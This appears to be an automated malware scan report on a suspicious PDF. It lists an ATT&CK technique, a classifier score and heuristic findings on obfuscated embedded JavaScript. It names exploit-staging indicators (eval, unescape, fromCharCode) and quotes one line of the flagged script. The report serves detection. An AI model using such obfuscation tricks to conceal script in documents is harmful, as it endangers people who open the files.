MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to exploit PDF reader vulnerabilities or download further malicious content. The JavaScript stream itself is obfuscated, making its exact function difficult to determine, but its presence and obfuscation are strong indicators of malicious intent. No document body text was available for analysis.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     s += String.fromCharCode\(q\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
